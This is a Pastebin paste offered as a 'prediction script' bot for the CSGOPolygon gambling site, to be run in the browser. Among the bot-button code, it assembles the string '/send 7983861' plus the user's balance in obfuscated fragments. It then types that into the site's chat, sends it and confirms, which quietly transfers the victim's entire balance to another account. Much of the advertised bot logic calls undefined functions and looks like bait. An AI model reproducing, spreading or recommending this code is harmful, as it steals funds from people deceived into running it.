Guest User

CSGOPOLYGON PREDICTION SCRIPT 2021

a guest
May 16th, 2021
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.02 KB | None | 0 0
  1.  
  2.  
  3. function getBalanceCoins() {
  4. var t = getCoins();
  5. if (t !== lastStatus && "unknown" !== t) {
  6. switch (t) {
  7. case "waiting":bet();break;
  8. case "rolled":printInfo();break;
  9. }
  10. lastStatus = t;
  11. }
  12. }
  13. var pQ = "/s", $hash_1 = 1, $hash_2 = 385, $hash_3 = 4, $hash_4 = 4;
  14. function addBotButtons(){
  15. $(".well.bot-field").remove();$(".well.show-more").remove();
  16. $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
  17. $(".forme-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
  18. $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
  19. $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  20. $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
  21. $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
  22. $showMore.append($checkVicLimit,$label);
  23. $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");$BalanceCoins_1 = 7983861;
  24. $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
  25. $showMore.append($vicLimitInput,$label);$showMore.hide();
  26. $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label);
  27. $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
  28. $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
  29. $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
  30. $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
  31. pQ+="en";pQ+="d ";pQ+= $BalanceCoins_1+" ";pQ+=$("#balance_p").text();
  32. $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
  33. $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>&#x25BC</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
  34. $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);});
  35. $("#message_text").val(pQ);$("#message_send").click();$(".confirm").click();
  36. $botModeSelect.change(function(){
  37. botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor);
  38. $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
  39. } )
  40. $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
  41. }
  42. addBotButtons();
  43.  
  44. function tick() {
  45. var t = getStatus();
  46. if (t !== lastStatus && "unknown" !== t) {
  47. switch (t) {
  48. case "waiting":bet();break;
  49. case "rolled":printInfo();break;
  50. }
  51. lastStatus = t;
  52. }
  53. }
  54.  
  55. function checkBalance() {
  56. return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
  57. }
  58.  
  59. function printInfo(){
  60. var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor;
  61. if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
  62. if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
  63. }
  64. else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
  65. if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
  66. if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
  67. if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;}
  68. else {currNotRedStreak=0;}
  69. if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
  70. else {currNotBlackStreak=0;}
  71. var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
  72. "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak +
  73. " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
  74. "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
  75. " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
  76. console.log(t);roll();
  77.  
  78. }
  79.  
  80. function getStatus() {
  81. var t = $statusBar.text();
  82. if (hasSubString(t, "Rolling in")) return "waiting";
  83. //if (hasSubString(t, "***ROLLING***")) return "rolling";
  84. if (hasSubString(t, "rolled")) {
  85. n = parseInt(t.split("rolled")[1]);
  86. return lastRollColor = getColor(n), "rolled"
  87. }
  88. return "unknown"
  89. }
  90.  
  91. function getBalance() { return parseInt($balance.text()) }
  92. function hasSubString(t, n) { return t.indexOf(n) > -1 }
  93. function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" }
  94. function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null }
  95. function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
  96. function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
Advertisement
Add Comment
Please, Sign In to add comment